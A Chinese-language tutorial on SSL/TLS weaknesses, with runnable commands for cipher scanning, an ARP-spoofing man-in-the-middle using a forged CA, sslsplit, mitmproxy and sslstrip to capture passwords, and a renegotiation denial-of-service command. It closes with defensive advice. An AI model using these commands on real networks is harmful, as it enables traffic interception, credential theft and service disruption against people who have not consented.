本文主要描述 HTTPS 中對於 ssl/tls 加密的攻擊手法,什麼是 HTTPS 呢?百度百科的解釋如下:
HTTPS(全稱:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全為目標的 HTTP 通道,簡單講是 HTTP 的安全版。即 HTTP 下加入 SSL 層,HTTPS 的安全基礎是 SSL,因此加密的詳細內容就需要 SSL。
0x01 知識鋪墊ssl/tls 用途
1、為實現 CIA (保密性, 完整性, 可用性)
2、解決信息傳輸過程中數據被篡改,竊聽
3、通過,密鑰交換算法,對稱加密,非對稱加密,單向加密 (HASH) 手段進行加密
常見的攻擊方式
1、降級攻擊
2、解密攻擊(明文, 證書偽造)
3、協議漏洞, 實現方法的漏洞, 配置不嚴格
SSL/TLS 應用場景
1、http, 稱為 https
2、郵件傳輸(伺服器間, 客戶端與伺服器間)
3、資料庫伺服器間
4、LDAP 身份認證伺服器間
5、SSL VPN
6、DRP 通信過程的加密和身份認證
加密過程
1、協商加密協議
2、獲取公鑰證書
3、驗證公鑰證書
4、交換會話秘鑰
5、ssl連接建立完成,使用加密傳輸
詳細敘述:
1、瀏覽器將自己支持的加密規則(也就是 CipherSuite )發給伺服器
2、伺服器端收到請求,然後從客戶支持的 CipherSuite 中選出一個應答,並發送給客戶端公鑰證書和選用的 HASH 算法
3、客戶端收到公鑰之後,利用自己的信任的根證書對收到的公鑰進行驗證.若通過,客戶端隨機生成對稱密鑰 (Pre-Master secret),通過伺服器發給客戶端,然後使用公鑰對對稱密鑰進行加密,並計算連接中全部報文信息的 hash ,再利用生成的對稱密鑰對 hash 值加密,然後把公鑰加密的對稱密鑰及對稱密鑰加密的 hash 值發送給伺服器.
4、伺服器利用自己的私鑰對利用公鑰加密的對稱密鑰進行解密,得到對稱密鑰. 再利用對稱密鑰解密 hash 值,對 hash 值進行驗證.在驗證成功後,會返回給客戶端 Finish 報文。(至此,ssl 連接建立成功)
5、ssl 連接建立完成之後信息的傳輸加密過程是這樣的:
客戶端:先用對稱密鑰加密要傳輸的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公鑰對 hash 值進行加密,之後把對稱密鑰加密了的信息和利用公鑰加密後信息的 hash 值,傳輸給伺服器.
伺服器: 與客戶端基本相同,不過把公鑰加密換做私鑰加密。
簡單圖示
WireShark來分析回話過程
ssl 的弱點
1、ssl 是不同的對稱、非對稱、單項加密算法的組合加密實現(cipher suite)
2、伺服器為實現更好的兼容性, 支持大量的過時的 cipher suite
3、協商過程中可能強迫降低加密強度
4、現代處理器的計算性能使可再可接受的時間內破解過時的加密算法
0x02 HTTPS 弱點掃描這裡主要針對弱 cipher suite 的弱加密組合和歷史漏洞(如 heartbleed )進行掃描,常見工具如下:
openssl
openssl s_client connect www.baidu.com:443
檢查支持的不安全的 cipher
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443
sslscan
自動識別 ssl 配置錯誤, 過期協議, 過時的 cipher suite, 默認檢查 crime, heartbleed 漏洞, 綠色表示安全, 紅色,黃色需引起注意:
sslscan --tlsall www.baidu.com:443
分析證書詳細信息
sslscan --show-certificate --no-ciphersuites www.baidu.com
sslyze
檢查 ssl 過時版本, 檢查存在弱點的 cipher suite, 掃描多站點時,支持讀自文件,檢查是否支持回話恢復
sslyze --regular www.baidu.com:443
nmap
nmap --script=ssl-enum-ciphers.nse www.baidu.com
當然,nmap 還有其他檢查 ssl 的腳本
在線查詢
https://www.ssllabs.com/ssltest
0x03 SSL 中間人攻擊攻擊者告訴目標機自己是網關,同時 NAT 轉發目標機的信息給網關.
圖解
圖是網絡上的,圖示很贊.(侵刪)
實現中間人攻擊手段
為實現攻擊者插入到被攻擊者和伺服器通信鏈路中的手段
1、ARP 欺騙
2、DHCP伺服器
自己搭建一個 DHCP 伺服器,如果攻擊者的 DHCP 伺服器與被攻擊者的距離比網關與被攻擊者的距離近才可行,會有一個接受先響應者的就近原則
3、通過 ICMP, STP, OSPF 協議攻擊 欺騙 ICMP 重定向, STP 的根, OSPF 的默認路由
4、理論可行的(操作前提是先控制被攻擊者): 修改被攻擊者網關, 修改被攻擊者 DNS, 修改被攻擊者 hosts
ssl 攻擊前提
1、客戶端信任偽造證書
客戶端禁止顯示證書錯誤, 被攻擊者自己點擊信任, 攻擊者控制了客戶端,強迫信任證書.
2、攻擊者控制了證書頒發機構,拿到合法證書(當然,也可以合法的花錢購買)
攻擊演示
1、偽造證書
生成證書私鑰:
openssl genrsa -out ca.key 2048
利用私鑰,生成根證書
openssl req -new -x509 -days 999 -key ca.key -out ca.crt
這裡需要填寫信息,可以仿照真實證書信息填寫.
2、啟動路由
sysctl -w net.ipv4.ip_forward=1
或
echo 1 > /proc/sys/net/ipv4/ip_forward
3、配置 iptables 的 nat 表
iptables -t nat -F #清空
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 這是最重要的一條
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
iptables -t nat -L # 確認
注意 攻擊者的 80,443, 587 等埠不能被其它程序佔用.
4.arp 欺騙
攻擊者
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
被攻擊者:
上面是欺騙前的,下面是欺騙後的。
5、sslsplit
透明的 ssl/tls 中間人攻擊工具 對客戶端偽造伺服器,對伺服器偽裝客戶端,偽裝伺服器時需要證書,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中間人攻擊
mkdir -p test/log
sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
被攻擊者訪問 HTTPS 網站
為了演示, 這裡就點繼續訪問吧.
攻擊者可以從日誌中查看到被攻擊者傳輸的內容, 但是請注意不是所有信息都是那麼明朗,比如淘寶,百度等的密碼欄會先利用其他加密組件進行加密然後才進行傳輸,我們能看到的只是傳輸過程的明文信息。
補充
如果不喜歡 sslsplit 還可以選其它工具,同樣是 arp 欺騙,然後埠轉發,之後使用 ssl 透明代理工具
mitmproxy
開啟路由:
echo 1 > /proc/sys/net/ipv4/ip_forward
埠轉發:
iptables -t nat -F #清空
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
arp 欺騙
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
啟用 mitmproxy
mitmproxy -T --host -w logfile.log
依然會報證書錯誤,不過在沒有在沒有加密組件的情況下,可以直接獲取用戶名和密碼。
sslstrip
注意:此工具直接將客戶端到中間人之間的流量變為明文,其它準備步驟相同,然後執行:
sslstrip -l 8080
這樣可以把 https 網站轉化成 http,不再報證書錯誤。
尤其對手機而言,更不會注意到地址欄的信息,所以相對隱蔽一些。
查看當前目錄生成的 sslstrip.log 文件(默認只記錄 post 的數據)可查看 post 的數據。
0x04 SSL/TLS 拒絕服務攻擊主要是利用 ssl-renegotiation(如果禁用下面這個攻擊工具就不能直接利用了), 不斷的重協商,增加伺服器負擔,而不是流量式的攻擊
thc-ssl-dos ip 443 --accept
0x05 SSL/TLS 的安全前提SSL/TLS 的安全基礎是私鑰的保密,這裡以一道 CTF 題來做引證。
題目假設: 獲得了伺服器私鑰, 和抓包的得到加密流量
1、WireShark 打開流量包:
wireshark: Preferences -> Protocols -> SSL -> Edit RSA keys list
輸入私鑰的文件地址信息
然後可以右鍵一個 ssl 包,追蹤流(選中 ssl 流)
tls/ssl 大大的提高了各種應用的安全性,提高了各種劫持破解的成本。但是不是百分百的安全,當訪問一個網站的時候,如果遇到證書錯誤,如果不是有足夠的理由去信任的,請直接拒絕訪問。新的技術引入的同時,如果不注意正確配置,還會造成新的攻擊面,如本文提到的拒絕服務攻擊,所以在配置 ssl 時,注意關閉客戶端發起的重協商請求。同時要注意伺服器私鑰的保管,如果洩露了,那麼 SSL 的一切安全基礎也沒有了。最後,希望本文對大家有一點點力量。